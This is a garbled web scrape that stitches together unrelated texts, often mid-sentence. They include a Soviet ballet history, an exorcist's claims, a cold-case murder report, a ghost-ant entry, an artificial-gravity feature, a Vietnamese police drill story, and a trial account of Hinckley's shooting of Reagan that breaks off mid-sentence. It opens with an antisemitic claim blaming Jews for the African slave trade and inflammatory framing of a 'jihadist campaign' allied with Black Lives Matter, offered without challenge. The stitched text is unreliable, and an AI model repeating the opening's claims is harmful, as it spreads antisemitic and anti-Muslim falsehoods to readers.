“Jews have been conclusively linked to the greatest criminal endeavor ever undertaken against an entire race of people … the black African Holocaust. … The effects of this unspeakable tragedy are still being felt among the peoples of the world at this very hour.”
The clever and violent jihadist campaign against the West and against Jews knows no boundaries, and is now increasing its alliance with the Black Lives Matter movement. Black Americans need to educate themselves about the fact that many Muslim states still demonstrate the worse kind of racism against blacks.
“Arab Social Media Gloats Over Cop Murders in Dallas”, by Ali Waked, Breitbart, July 10, 2016:One day in 1926, Mikhail Kurilko, chief designer for the Bolshoi Theatre, noticed two interesting items in the 9 January edition of Pravda, the official paper of the still-young Soviet Union. One reported that a Soviet steamer called Ilyich – Lenin’s middle name – had been detained in England. Authorities searched the ship for communist literature, but found nothing and sent it on its way. The other reported a “new phase in the struggle in China”. The Soviets were supporting Chinese nationalists in their fight against Japanese-backed warlords, with the ultimate goal of bringing about revolution in the country. In Lenin’s view, successfully converting other countries into socialist allies was crucial to the Soviet Union’s survival.
At the time, the Bolshoi was still adjusting – painfully – to its new role as a tool of the state. Developing new, revolution-friendly repertoire for its in-house ballet company, the Bolshoi Ballet, was a priority. These two stories from Pravda inspired Kurilko to pitch what would become the first Soviet-themed and Soviet-endorsed ballet, The Red Poppy, which premiered at the Bolshoi 90 years ago this month. Its plot featured an opium-fueled dream sequence, a critique of Western decadence represented by people dancing the Charleston, an evil English dock master named Sir Hips, and star soloist Ekaterina Geltser in yellowface. A huge hit, it set the template for the Soviet ballets that followed it: concerned with revolutionary themes, and emphasising collective athletic movement. A few decades later, it would also trigger an embarrassing diplomatic moment between the Soviet Union and Mao’s China, exposing the fault lines of socialist brotherhood.
Unsurprisingly for a work controlled by a committee of bureaucrats, the ballet was mired in conflict
Unsurprisingly for a work controlled by a committee of bureaucrats, the ballet was mired in conflict throughout its development. Virtually everyone involved fought over every element possible (aside from composer Reinhold Glière – a master of the art of playing it safe who kept his compositions light and uncontroversial, stayed out of ideological battles between artists, and coasted through the revolution unscathed). The original scenarist’s treatment was rejected and his duties were passed to Kurilko, who is credited as its official author. A third person involved in the script fell out with ballet master Vasiliy Tikhomirov over the second act, and his name was removed from the project. One of the ballet’s most crowd-pleasing dances, the folksy Yablochko (or “Little Apple”), is derived from a Russian sailor song, and as Glière later recalled, the Bolshoi orchestra’s musicians considered it demeaning to play. “Pressure, endless pressure,” reads an internal memo from the period, quoted by Elizabeth Souritz in her book Soviet Choreographers in the 1920s. “More than once the whole thing fell apart and we lost hope.”
Flower power
The Stalinist era was difficult for new productions: higher-ups wanted them, but it was hard for them to survive the ever-shifting demands of the state bureaucracy and censorship. Usually, it was safer to simply rework old classics with the right ideological spin. The Red Poppy too was nearly killed. In the spring of 1927, the culture commissar ordered the Bolshoi to bump it in favour of an opera by Prokofiev, as part of an effort to woo the acclaimed composer back from abroad. But then, the ballet found its moment. On 6 April, Chinese police raided the Soviet embassy in Beijing. Meanwhile, crisis was building in Shanghai. Nationalists had allied with communists to take control of the city, but had turned on them. Soviet papers filled with headlines about the slaughter of Chinese communists. The Red Poppy suddenly “resonated with the current political situation and thus received approval for performance,” writes Simon Morrison, a music professor at Princeton University, in his book Bolshoi Confidential.
One of the characters smokes opium and has a hallucinatory dream involving dancing flowers and flying dragons
In the version that premiered in 1927, the ballet opens to low strings and gongs. (In his manuscript, Glière labeled the passage “lifeless China.”) Then comes a soaring Russian tune, representing the Soviet ship. The curtain rises on barefoot Chinese laborers unloading crates from the ship. Then the heroine Tao-Hua, who Morrison describes as “a combination of orientalist clichés at constant risk of sexual assault,” is introduced, dancing for Englishmen at a restaurant nearby. A labourer collapses, worked to death by the English dock master, Sir Hips, a cruel man who beats the workers. The ship’s Soviet captain intervenes, and he and his crew help unload the ship. Tao-Hua is moved and “flutters her fan at the captain and gives him a poppy,” writes Morrison, who notes that flowers are symbols of beauty, splendour and youth, and red is the colour of love, revolution and communism. Tao-Hua’s evil master Li Shan-Fu threatens her, and the Soviet captain intervenes. The scene concludes with the Chinese labourers joining the Soviet sailors, along with sailors from Australia, Japan, Malaysia, and the US, in a happy group dance.
In the next scene, Tao-Hua smokes opium and has a hallucinatory dream involving dancing flowers and flying dragons. The following scene takes place in a casino, where English revelers dance the Charleston. There’s also a tango striptease, an umbrella dance from Tao-Hua, a Chinese ribbon dance, and a waltz. Evil Li Shan-Fu tells Tao-Hua to serve the Soviet captain poisoned tea. She refuses, and instead pantomimes to the captain a message of warning and affection. She seeks his love, he instead tells her about the joys of socialism. Li Shan-Fu aims a gun at the captain but kills Tao-Hua instead, and poppies rain on the now-liberated Chinese workers.
Diplomatic dance
Critics panned the ballet, especially the hallucinatory second act, which they viewed as a regressive throwback to the 19th-Century penchant for exoticism, completely at odds with the realism of the first act. Nonetheless, thanks to the Kremlin’s backing, it was a wild success. It was programmed by state-controlled, state-financed opera and ballet theatres; performed at the Bolshoi more than 200 times in its first years, and some 3,000 times throughout the USSR. (Reviews became more positive once it was clear that the government supported it.) “It had everything a Soviet spectacle needed: exotica, politics, clear heroes and Western villains,” writes Morrison.
But by the 1930s the ballet had fallen out of fashion, and by the end of the decade, it was hardly performed at all. In 1949, that long-awaited Chinese communist revolution finally arrived, not long before Stalin’s 70th birthday. To mark both occasions, the ballet was revived.
A number of changes were made to the plot, which suggest an attempt at making it more acceptable to a Chinese perspective. The biggest change was that, where Tao-Hua had previously fallen in love with the Soviet captain, in the revival her love interest is one of the Chinese laborers on the dock, who not only gets his own solo dance, but is the one to lead the revolution. However, the overall vibe remained one of heroic Russians bringing enlightenment to the flawed Chinese. And in act two, Tao-Hua falls asleep without the aid of opium.
Even with these changes, the revival revealed how little the Soviets knew about their Chinese communist brethren. Mao Zedong was in Moscow at the time of the revival, seeking an alliance with Stalin; in February 1950, the two signed the Sino-Soviet Treaty. He was invited to see The Red Poppy, but declined. As it turned out, he had been warned not to go. The wife of the Chinese ambassador to the USSR had seen a dress rehearsal, and reported back that it distorted the Chinese revolution and the role of the Communist Party. Another member of Mao’s delegation, Chen Boda, attended instead, and as later recounted by Mao’s Russian interpreter in a memoir, Chen then informed the Bolshoi’s top brass that he found the ballet offensive.
Ballet was used as an ideological and diplomatic tool, shaping how other countries saw Russia
Several other complaints are recorded in exchanges between the Soviets and not just Chen, but various other figures as well. Most upsetting was that, though Tao-Hua no longer smoked it, poppy flowers still represented opium. They conjured the Opium Wars, when China was forced to allow the drug’s international trade and cede territory to Britain. In China, it is considered the most humiliating episode of the country’s history and remains a source of resentment to this day. Moreover, one of the Chinese characters in the ballet wore a queue (a long, braided pigtail), a symbol of subjugation forced upon Han Chinese by Manchu conquerors during the 17th Century, which had been banned in China since 1912. Finally, the character Tao-Hua was a dancer, which to the conservative Chinese communists, suggested that she was a prostitute.
“Clearly [the Russians] thought this was going to be this moment where Mao would come and go, ‘How wonderful that the Soviet Union is producing these sensitive, internationalist ballets about our common struggle.’ And in fact it was exactly the opposite,” says Edward Tyerman, a Slavic studies professor at Barnard College.
The Red Poppy was revived (and expanded) yet again in 1957, and this time, in deference to the Chinese, the pigtail was cut, the heroine was recast as a freedom fighter, and the title was changed to The Red Flower. Later, however, when Mao began to denounce Khrushchev and relations between the two countries fell apart, the title was changed back to The Red Poppy. That has been its title ever since, most recently for a 2015 Russian-Italian co-production in Rostov.
Ballet was used as an ideological and diplomatic tool, shaping how other countries saw Russia, ever since the Soviets first began sending dancers on overseas tours, to wow Western audiences with their mastery of the art form – and by extension, the strength of the Soviet Union. However, when the star dancer Rudolf Nureyev defected to the West in 1961, followed later by Natalia Makarova in 1970 and Mikhail Baryshnikov in 1974, it also became clear how easily such ‘soft power’ efforts could backfire – the defections gave the West a new reason to see itself as superior. Western understanding of those events, and of Russian ballet in general, frames things as a struggle between East and West. But, as the ever-shifting saga of The Red Poppy reveals, ballet was not just a tool for asserting cultural superiority over enemy nations, but also for cultivating relations with socialist allies. And as such, it could also become a place for tensions to play out between those supposedly friendly nations.
The offense that Mao’s delegation took at The Red Poppy was just one in an array of slights that left Mao stewing over his treatment by the Soviet Union – this resentment that would later culminate in the Sino-Soviet Split, which in turn helped ensure Western victory in the Cold War. All of that said, the wonder of ballet still left its mark on the Chairman during his Moscow stay. Though he declined to attend The Red Poppy, he went to see Swan Lake instead. It was Mao’s first ballet, and reportedly, he enjoyed it very much.
If you would like to comment on this story or anything else you have seen on BBC Culture, head over to our Facebook page or message us on Twitter.
And if you liked this story, sign up for the weekly bbc.com features newsletter, called “If You Only Read 6 Things This Week”. A handpicked selection of stories from BBC Future, Earth, Culture, Capital and Travel, delivered to your inbox every Friday.A spate of recent news reports alleging cover-ups of child sex abuse by priests was “prompted” by Satan, says a prominent Italian exorcist.
Father Gabriele Amorth, the Vatican’s chief exorcist, told Italian media this week that a New York Times report alleging that Pope Benedict XVI ignored reports of sex abuse at a Wisconsin school for the deaf was the work of the Devil.
That story asserted that the Pope, then Cardinal Joseph Ratzinger, ignored repeated warnings from bishops that a Wisconsin priest, Father Laurence Murphy, may have molested as many as 200 boys at a school for the deaf.
“There is no doubt about it. Because he is a marvelous Pope and worthy successor to John Paul II, it is clear that the Devil wants to ‘grab hold’ of him,” Amorth said, as quoted at the Catholic News Agency.
Father Amorth added that in instances of sexual abuse committed by some members of the clergy, the devil “uses†priests in order to cast blame upon the entire Church: “The devil wants the death of the Church because she is the mother of all the saints.†The exorcist went on to note that Satan tempts holy men, “and so we should not be surprised if priests too … fall into temptation. They also live in the world and can fall like men of the world.”
Amorth made similar assertions several weeks ago, before the allegations about Father Murphy became public. At that time, the Pope was being criticized by some over allegations that, as Archbishop of Munich, he tried to hush up allegations of sexual abuse by priests in his diocese.
In an interview with Italian newspaper La Repubblica, Amorth said the German sex abuse scandal, along with several other scandals and a Christmas Eve attack on the pontiff by a mentally unstable woman, “were proof that the Anti-Christ was waging a war against the Holy See,” the Daily Telegraph reported.
Amorth also asserted that the Pope is a fervent believer in the practice of exorcism. “His Holiness believes wholeheartedly in the practice of exorcism. He has encouraged and praised our work,” Amorth said.
In 2006, Amorth asserted that Hitler and Stalin were both possessed by the Devil.
Amorth also condemned the Harry Potter novels for creating a “false distinction” between good and bad magic; all magic “leads to the Devil,” Amorth stated.Jane Doe No. 59, a woman who was found brutally murdered in 1969 in the Hollywood Hills, has been identified as Reet Jurvetson 46 years after her death.
Jurvetson moved to L.A. in the fall of 1969. According to her one surviving sister, Anne, she sent a postcard to her parents not long after, saying she'd found an apartment and was happy. They never heard from her again. Last year, forensic evidence linked her to Jane Doe No. 59.
Police have not ruled out the possibility that Jurvetson, who was 19 years old at the time of her death, is a victim of the Manson Family cult. NBC News reported, however, that there is currently not enough evidence linking Jurvetson's murder to the Manson Family.
The teen's body was first discovered by a birdwatcher in November 1969, several months after the Manson Family brutally murdered seven people, including Roman Polanski's pregnant actress wife, Sharon Tate. Investigators noted on Wednesday, April 27, that Jurvetson was murdered in a similar fashion to all of the Manson victims. Her body was also found near where the Tate killings took place.
According to investigators, Charles Manson, now 81, was questioned by Los Angeles Police Department detectives Luis Rivera and Veronica Conrado several months ago, but made no mention of Jurvetson.
"Their encounter with Manson did not produce anything fruitful and the investigation remains open and ongoing," the LAPD said in its statement on Wednesday. Authorities added that they are looking to speak to a "person of interest" possibly named "John" or "Jean," who Jurvetson may have known.
Jurvetson's sister is desperate to find her killer. "I have written this statement and am making it available to the public in the hopes that it might prompt someone to provide leads to the police. This, in turn, may help the detectives solve the mystery surrounding this horrible crime," Anne wrote on her sister's memorial website. "Reet was a lovely, free-spirited and happy girl. She was very artistic, drew well, and liked to sew her own clothes. She was involved in Girl Guides and sang in a youth choir. She was deeply loved by both family and friends."
"After all these years, we are faced with hard facts. My little sister was savagely killed," Anne wrote. "It was not what I wanted to hear. And now I have a lot to come to terms with. I can hardly grasp how she could have been stabbed over 150 times. It is devastating. I try to draw comfort from the coroner’s report that at least she was not raped, nor were there traces of drugs or alcohol in her system."
The news comes days after the Manson Family's youngest member, Leslie Van Houten, was recommended for parole by a panel, which the D.A. is fighting. Manson, meanwhile, is serving life in prison.
Sign up now for the Us Weekly newsletter to get breaking celebrity news, hot pics and more delivered straight to your inbox!
Want stories like these delivered straight to your phone? Download the Us Weekly iPhone app now!Ghost ant Workers feeding on apple Scientific classification Kingdom: Animalia Phylum: Arthropoda Class: Insecta Order: Hymenoptera Family: Formicidae Subfamily: Dolichoderinae Genus: Tapinoma Species: T. melanocephalum Binomial name Tapinoma melanocephalum
Fabricius, 1793) Subspecies Tapinoma melanocephalum coronatum Forel, 1908
Tapinoma melanocephalum malesianum Forel, 1913 Synonyms Formica familiaris Smith, F., 1860
Formica nana Jerdon, 1851
Myrmica pellucida Smith, F., 1857
Tapinoma melanocephalum australe Santschi, 1928
Tapinoma melanocephalum australis Santschi, 1928
Tapinoma melanocephalum is a species of ant that goes by the common name ghost ant. They are recognised by their dark head and pale or translucent legs and gaster (abdomen). This colouring makes this tiny ant seem even smaller.[citation needed]
Description [ edit ]
Zoomed up photo of a ghost ant worker, taken from a site in East London
The ghost ant is small, with average lengths ranging between 1.3 to 2.0 millimetres (0.051 to 0.079 in) in workers.[1] The antennae composes of 12 segments that thickens towards the tip.[2] The antennal scapes exceeds the occipital border. The head and thorax is a dark brown colour while the gaster, legs and antennae are a milky white colour.[2][1] Due to its small size and light colour, the ghost ant is difficult to see.[3] Ghost ants are monomorphic and the thorax is spineless.[2] The gaster is hairless, and has a back opening that is similar to a slit-like opening.[3] The abdominal pedicel is formed upon a single segment that is usually unable to be seen due to the gaster, and the species do not contain a stinger.[2]
The queens are similar in appearance to a worker, but the alitrunk (mesosoma) is enlarged. The queen measures 2.5 millimetres (0.098 in) in length, making them the largest member of the colony. The males head and dorsum is dark in colour, while the gaster is light in that may contain several dark marks. They are usually 2.0 millimetres (0.079 in) in length.[1]
Distribution and habitat [ edit ]
Due to how widespread the ghost ant is, the exact native range is not exactly known.[4] However, the species is assumed to originate from the African or Oriental regions, seeing it is a tropical species.[5] This has been proven considering the ghost ant cannot adapt to colder climates and are only confined to greenhouses and buildings that provide considerable conditions that allows the species to thrive, although a colony of ghost ants was discovered in an apartment block in Canada.[6] One report has even stated the presence of ghost ants in isolated regions, with a colony being found in the Galapagos Islands.[7] The ant is found in 154 geographical areas.[8]
The species is a common pest in the United States, particularly in the states of Hawaii and Florida, although the species is expanding further north, even reaching Texas by the mid 1990s.[9] They are commonly found in the southern parts of Florida, and is considered a key pest, along with several other invasive ant species.[10] The earliest record of the ghost ant in the United States was in 1887, where the species was found in Hawaii.[11] It was then recorded in Washington, D.C. in 1894.[12] After these two records, the ghost ant would later be found in Maine, New York, Connecticut, Virginia, North Carolina, Georgia, Florida, Illinois, Michigan, Wisconsin, Minnesota, Iowa, Missouri, Louisiana, Texas, Kansas, New Mexico, Arizona, California, Oregon and Washington.[8][13] Ghost ants can be found in the U.S. territories of Puerto Rico and the U.S. Virgin Islands.[14]
References [ edit ]Living in space is bad for you.
Any astronaut returning to Earth from the International Space Station (ISS) does their best to smile for the cameras but struggles to stand. So, imagine what it will be like for future missions to Mars. After several months cooped up in zero (or micro) gravity, the first astronauts to step onto the Martian surface will barely be able to manage an ungainly stagger, let alone a giant leap.
“There’s a variety of different effects that can happen,” says Nasa biologist Sharmila Bhattacharya. “There’s a reduction in bone density, there’s loss of muscle and vision can be affected.” Her recent studies suggest that spaceflight even compromises the immune system.
Add in difficulties with balance, sleep deprivation, a slowing of the cardiovascular system, not to mention excess flatulence; throw in a bit of space sickness, vertigo and lethargy, and you begin to understand the scale of the problem. Bhattacharya’s experiments, along with countless others carried out over more than fifty years, attribute most of these symptoms to the effects of living without gravity.
It seems humans have not evolved for life in space.
As a result, there are several ongoing initiatives to try to understand - and minimise - the impact of weightlessness. The European Space Agency, for instance, recently ran a series of bed rest studies, examining the effects on volunteers of 21 days of inactivity. And a forthcoming year-long joint Nasa/Russian mission to the International Space Station (ISS), is designed to put the latest theories on combating weightlessness, such as improved exercise and nutritional regimes, to the test.
However, if mankind is to travel to Mars, the moons of Jupiter, Saturn or beyond, we may need more extreme solutions. And one of those includes resurrecting plans all but abandoned by Nasa in the 1970s: spacecraft with their own artificial gravity.
‘Completely archaic’
Early designs for space stations all assumed that artificial gravity – generated by enormous spinning wheels - would be the norm in the future. Take an example from the 1949 issue of the Journal of the British Interplanetary Society written by H E Ross, which envisages a “refuelling station” on the way to the Moon. The design consists of three sections, rather quaintly labelled, “a bowl, bun and arm.”
The bowl is effectively a giant mirror, designed to concentrate sunlight that heats water to produce steam for power generation. That’s right, a steam powered space station. The bun – which looks more like a bagel – is located behind the mirror. The arm pokes out on the side of the bun and is linked to a docking port.
With any rotating wheel in space, the artificial gravity, or as Ross more accurately puts it “the pseudo gravitational effect”, works like this: thrusters rotate the bun/bagel around its axis, generating a centripetal force. Anyone inside this hollow wheel experiences a similar effect to gravity, as if they were being pulled towards the outer curved hull (although actually it is the floor of the hull pushing up against them). The amount of artificial gravity generated depends on the size of the wheel and the speed of rotation. The bigger the wheel and the faster it turns, the greater the effect. The result is brilliantly illustrated in the film 2001, where the astronaut jogs around the inside of the spaceship.
Towards the end of the Apollo Moon programme, in the late 1960s, Nasa commissioned studies from industry on future space stations. All the designs specified that artificial gravity would be essential.
“These old space station studies now look completely archaic,” says David Baker, editor of Spaceflight magazine and a former Nasa engineer who worked on the concepts. “The Skylab missions [of the mid 1970s] proved that the whole point of having a space station was to do microgravity research, so we abandoned the artificial gravity idea.”
“Now, though,” he says, “they might be worth revisiting.”
Inflatable space
I find Baker’s 1971 reports on the project tucked away on a top shelf of the British Interplanetary Society Library in London. One, the McDonnell-Douglas “space base”, is formed of a series of cylindrical modules. The base includes a separate artificial gravity section, providing crew with around half the gravity they would experience on Earth.
A competing design, from North American Rockwell, is more ambitious and features a central core with four cylinders projecting from it on spokes. Each of these modules contains the living and working areas and, just like Ross’ 1949 concept, would spin around the central axis to generate artificial gravity.
Although both these designs are enormous – housing between 12 and 50 “men” with individual cabins, tables, comfy chairs and even a sickbay – the basic ideas are sound. In fact, they are not dissimilar to a 2011 proposal known as the Nautilus-X, or Multi Mission Space Exploration Vehicle, put forward by a consortium from Nasa, academia and industry.
This $3.7bn spacecraft is designed for six people and looks similar to a flying space station – with large solar arrays and a series of interconnecting tubes. However, the major difference is that surrounding the centre of the ship is a larger hollow wheel. This wheel would be a bit like a bicycle inner tube, made of a series of rigid rings connected by soft-walled inflatable sections. It is similar in structure to a module that Nasa has just ordered from Bigelow aerospace, with the intention of fixing it to the ISS in 2015.
There is a good reason why the ship looks similar to the ISS, according to Mark Holderman, one of the team behind the design. “Nautilus-X was to be assembled in orbit… [using] the skill and lessons learned from assembling the International Space Station.”
The ship’s design emerged in2011 from the Space Shuttle program's Technology Applications & Assessment Team (TAAT), a group formed to look at relatively near-term human space missions that could build upon or extend the use of existing technologies. The team envisaged building a prototype that attached to the ISS to prove the concept, before building a full-sized ship.
“It…would have been the first true spacecraft to provide a crew with artificial gravity,” says Holderman. “The Nautilus-X was also designed to provide the evolutionary basis for the spacecraft that would eventually take a crew of 9 to 12 to Mars.”
Ultimately, the project was cancelled due to changing priorities and a lack of funds at the space agency.
Sick idea
So with budgets only ever getting smaller, space agencies may want to follow a simpler – and cheaper – route. If that is the case, they could copy a method tried out on Nasa’s Gemini missions of the mid 1960s where astronauts stretched a tether between their capsule and an unmanned docking module and allowed the two bodies to spin around each other. The theory is the same as twirling a bucket around on the end of a string where a centripetal force is generated in the bucket.
Or for space agencies on a very tight budget, there may be an even cheaper option. Researchers at MIT, for example, have conducted a series of experiments using a small centrifuge – effectively a spinning table or chair. The idea is to fly something similar on the ISS, with astronauts strapping themselves to the device and spinning themselves round and round to simulate gravity. Although the setup has a habit of giving people motion sickness (particularly when they move their head), the experiments suggest that regular sessions on the wheel can offset some of the deleterious effects of weightlessness.
But a spinning table is hardly a giant wheel in space. Fortunately, for anyone harbouring dreams of that elegant ship in 2001: A Space Odyssey, all is not lost. Baker believes there may be another way to build the first artificial gravity spacecraft. “A hotel in space would definitely need artificial gravity,” he says. “Given that 50% of people get space sickness, if we have hotels in Earth orbit then artificial gravity would be essential.”
With the explosion in commercial space travel, this idea may not be as farfetched as it seemed even a decade ago. Indeed, the firm that is supplying Nasa with its first inflatable space station module is owned by hotel magnate Robert Bigelow, who has talked about his desire to extend his real estate empire into orbit.
So, perhaps one day, we could end up with giant inflatable, wheel-shaped space stations – albeit for millionaire space tourists rather than Martian explorers.
If you would like to comment on this article or anything else you have seen on Future, head over to our Facebook page or message us on Twitter.If you are ever locked out of your high-rise apartment and need some help to get back inside, phone your friendly neighbourhood Vietnamese Swat team… and ensure you have a bamboo pole long enough to reach your balcony.
In a video of a tactical training exercise in Hanoi that has garnered more than one million views the Vietnam Police Special Force, or Vietnam Mobile Police (Viet. Cảnh sát cơ động), demonstrate an innovative method of entering a multi-storey building.
In the video a group of ‘gunmen’ force ‘hostages’ to the third floor of a five-storey building, one of them ‘shooting’ indiscriminately behind him. Instead of just following them up the stairs, the Vietnam Mobile Police team take the path less-traveled – scaling the building’s exterior. But rather than breaking out harnesses and ropes, all that these highly trained law enforcement officers need is a sturdy bamboo pole of the appropriate length.
As one of the specially-trained officers prepares themself against the sheer wall of the building, two others on the ground press the end of a bamboo pole against the first officer’s back. The first cop then flips gravity the bird and runs up the building as his counterparts on the ground rush forward.
While some cops are guided onto balconies with the aid of the bamboo pole, several others climb all the way to the roof – without a safety rope – using ventilation spaces as footholds. In a separate video other members of the elite group merely hold the pole at their side as they run up the outside of the building.
With ropes installed on the roof the Vietnam Mobile Police rappel down to the third-floor where they wait, hanging like fruit bats, for the appropriate time to stage a daring ‘rescue’ of the hostages… a couple of flashbangs adding to the authenticity. As the extraction team infiltrates the hostage room, others repel to the bottom and train their weapons on the building to cover the exit of the extraction team and the freed hostages.
But the drama isn’t over yet. With the hostages safely out of the building and the hostage takers neutralised, an Explosive Ordinance Disposal (EOD) team wearing Advanced Bomb Suits (ABSs) then carries out a controlled explosion inside the building.
Some may wonder whether the video of the Vietnam Mobile Police’s ninja-like agility is real, or simply the result of clever video editing. For those doubters Wired, which published a similar video earlier this month, provides a full explanation of the physics involved.
Bonus: The elite Vietnam Mobile Police isn’t a boys’ only club. Maintaining traditions forged on battle fields against numerous aggressors and invaders over the years, more than a few women are shown scurrying up the building with their male contemporaries. Hardly surprising though in a country where women account for 17.6 per cent of the country’s company board members – 154.3 per cent higher than all other Asian countries and 22.3 per cent higher than the USA.
Feature video Kiến Thức Quân Sự HD6/11
Photograph: Noffar Gat
Russell’s Reserve Small Batch Single Barrel “You can really feel that there’s a master at |
his sanity, and the likelihood of "suicide city" if he failed to win Foster's love. Hinckley returned to Colorado for his last time on March 7, 1981. Jack Hinckley met John at the Denver airport and told John--having failed to obtain a job--he would not be allowed to go home to Evergreen. Jack Hinckley gave his son $200, which John used to pay for motel rooms in Denver where he sat alone watching television and reading. Hinckley--unbeknownst to his father--interrupted his stays in cheap motels to visit his mother several times. On March 25, JoAnn Hinckley drove John to the Stapleton Airport in Denver. They drove in virtual silence. At the curbside in front of the terminal, as he reached for his suitcase John said to his mother, "I want to thank you, Mom, for everything you've ever done for me, all these years." JoAnn Hinckley felt fear "climb into my throat" as she replied, "You're very welcome." THE ASSASSINATION After a one-day stay in Hollywood and a cross-country trip by Greyhound Bus, Hinckley checked into the Park Central Hotel in Washington, D. C. on the afternoon of March 29. After a restless night, Hinckley rose the next morning for a breakfast at McDonald's. On the way back to the hotel, he picked up the Washington Star. Hinckley noticed the President's schedule, on page A-4, indicating that Reagan would be speaking to a labor convention at the Washingon Hilton in just a couple of hours. Hinckley showered, took Valium to calm himself, loaded his twenty-two with exploding Devastator bullets purchased nine months earlier at a pawn shop in Lubbock, then wrote a letter to Jodie Foster. The Foster letter shed light on the bizarre motive for Hinckley's plan: Dear Jodie, There is a definite possibility that I will be killed in my attempt to get Reagan. It is for this very reason that I am writing you this letter now.
As you well know by now I love you very much. Over the past seven months I've left you dozens of poems, letters and love messages in the faint hope that you could develop an interest in me. Although we talked on the phone a couple of times I never had the nerve to simply approach you and introduce myself. Besides my shyness, I honestly did not wish to bother you with my constant presence. I know the many messages left at your door and in your mailbox were a nuisance, but I felt that it was the most painless way for me to express my love for you.
I feel very good about the fact that you at least know my name and know how I feel about you. And by hanging around your dormitory, I've come to realize that I'm the topic of more than a little conversation, however full of ridicule it may be. At least you know that I'll always love you.
Jodie, I would abandon this idea of getting Reagan in a second if I could only win your heart and live out the rest of my life with you, whether it be in total obscurity or whatever.
I will admit to you that the reason I'm going ahead with this attempt now is because I just cannot wait any longer to impress you. I've got to do something now to make you understand, in no uncertain terms, that I am doing all of this for your sake! By sacrificing my freedom and possibly my life, I hope to change your mind about me. This letter is being written only an hour before I leave for the Hilton Hotel. Jodie, I'm asking you to please look into your heart and at least give me the chance, with this historical deed, to gain your respect and love. I love you forever, John Hinckley
At one-thirty, Hinckley took a cab through a light drizzle to the Hilton. The President waved to a crowd as he walked toward the hotel entrance at 1:45. Hinckley waved back. At 2:25, accompanied by aides and bodyguards, Reagan left the hotel and began moving towards his waiting limousine. A voice yelled, "President Reagan, President Reagan!" As the President turned in his direction, Hinckley--crouching like a marksman--emptied the six bullets in his gun in rapid succession. The first bullet tore through the brain of press secretary James Brady. The second his policeman Thomas Delahanty in the back. The third overshot the President and hit a building. The fourth shot hit secret service agent Timothy McCarthy in the chest. The fifth shot hit the bullet-proof glass of the President's limousine. The sixth and final bullet nearly killed the President. As aides rushed to push Reagan into his car, the bullet ricocheted off the car, then hit the President in the chest, grazed a rib and lodged in his lung, just inches from his heart. At first it was assumed that the bullet missed the President, and the limousine headed for the White House. Within seconds, however, the President began coughing up blood and the limousine changed course and sped for George Washington University Hospital, where the President underwent two hours of life-saving surgery. Hinckley was still clicking the trigger on his twenty-two when secret service agents wrestled him to the ground. An agent recalled a "desperate feeling of 'I've got to get to it and stop it.'" as he came down on Hinckley with his right arm around his head. THE TRIAL With dozens of witnesses and the shootings captured on videotape, the government knew as well as John Hinckley's own defense lawyer, Vince Fuller, that the only plausible defense was the insanity defense. After a brief detention at the Marine base in Quantico, Virginia--where Fuller first met Hinckley--, he was transferred to a federal penitentiary in Butner, North Carolina. Fuller informed Hinckley's parents of the reasons for the move: "They want to do a psychiatric evaluation, and Butner has the facilities." Over the next four months, psychiatrists for both sides probed nearly every aspect of Hinckley's life. When the psychiatric reports came in, there were no surprises. All the government psychiatrists concluded that Hinckley was legally sane--that he appreciated the wrongfulness of his act--at the time of the shooting. All three defense psychiatrists diagnosed Hinckley as psychotic--and legally insane--at the time of the shooting. Further evidence of the severity of Hinckley's mental problems came in May, two days before his twenty-sixth birthday, when he attempted suicide by overdosing on Valium. In November, he tried again--this time hanging himself in his cell window. Hinckley insisted that his lawyers get Jodie Foster to testify in his trial. If they didn't make every effort to do so, he said, he would refuse to cooperate in his own defense. Eventually, Fuller arranged with Foster's lawyer to have the actress testify in a closed session with only the judge, lawyers, and Hinckley present. The tape could later be introduced into evidence at the trial. When Hinckley received the news he excitedly told his parents, "Mom! Dad! I'll be right there in the same room!" On March 30, 1982, authorities took Hinckley to the federal courthouse in Washington for Jodie Foster's videotaped testimony. The testimony sorely disappointed Hinckley, who received not a single glance or word on his behalf from Foster. As Foster completed her testimony, Hinckley hurled a ballpoint pen at her and yelled, "I'll get you Foster!" Marshals surrounded Hinckley and hauled him from the room. Jury selection for the Hinckley trial began on April 27, 1982. Selected from a pool of ninety potential jurors were eleven blacks and one white, seven women and five men. The first phase of the prosecution case, uncontested by the defense, established the obvious: that a shooting had occurred and that Hinckley had done the shooting. Early prosecution witnesses included two of Hinckley's victims, police officer Thomas Delahanty and secret service agent Timothy McCarthy, and a neurosurgeon who described the path of Hinckley's bullet through the brain of James Brady. Prosecutor Roger Adelman also attempted to show premeditation by introducing video footage showing Hinckley's face in a crowd at a Carter campaign rally in Dayton and producing an attendant at a Colorado rifle range who testified that Hinckley engaged in target practicing there in December, 1980. When the prosecution rested its formal case, the real trial--the insanity trial--began. Defense attorney Vince Fuller opened by asking JoAnn Hinckley about John's childhood, his letters to home from Texas Tech about the imaginary "Lynn," missing money (presumably stolen by John) from Jack Hinckley's study. In cross-examination of JoAnn Hinckley, Assistant U. S. Attorney Robert Chapman tried to establish through his questions that Hinckley couldn't have been too sick--or his parents would have known about it. Why, Chapman wanted to know, did JoAnn Hinckley in the months before the shooting tell John's psychiatrist, Dr. Hopper, that "things are fine." Jack Hinckley testified about his decision to cut off John's financial support. He told about the day in Denver when he left him to find a cheap motel and try to make a life: "O.K., you are on your own. Do whatever you want to do." Jack Hinckley said, "Looking back on that, I'm sure that it was the greatest mistake in my life." He tried to take the blame for what happened: "I am the cause of John's tragedy--I forced him out at a time when he simply couldn't cope. I wish to God that I could trade places with him right now." Dr. John Hopper, wearing aviator glasses and talking in a weary tone, testified about his misdiagnosis of Hinckley. John was not merely an "unmotivated kid who needed behavioral therapy," as he first thought, but someone suffering from serious mental illness. An autobiography written by John in November 1980 at Hopper's request was introduced into evidence. In it, Hinckley wrote of "a relationship I had dreamed about" that "went absolutely nowhere" and a mind that was "on the breaking point." Hopper, relying on his face-to-face judgment of Hinckley, had failed to appreciate the seriousness of the warnings contained in the autobiography. Hopper also testified that he knew nothing of Hinckley's stalking of President Carter or his purchase of handguns. As technicians set up television sets at various locations in the courtroom, Judge Barrington Parker told the jury: "Ladies and gentleman, at this point in time you will see a video tape rendition of a deposition of the witness Jodie Foster." At the defense table, John moved from his habitual slump to an upright position. Foster described Hinckley's first sets of letters to her as "lover-type letters." The last batch of letters Foster called "distress-sounding" and she said "I gave them to the dean of my college." One letter, dated March 6, 1981, said only: "Jodie Foster, love, just wait. I will rescue you very soon. please cooperate. J.W.H." Asked whether she'd "ever seen a message like that before," Foster replied, "Yes, in the movie Taxi Driver the character Travis 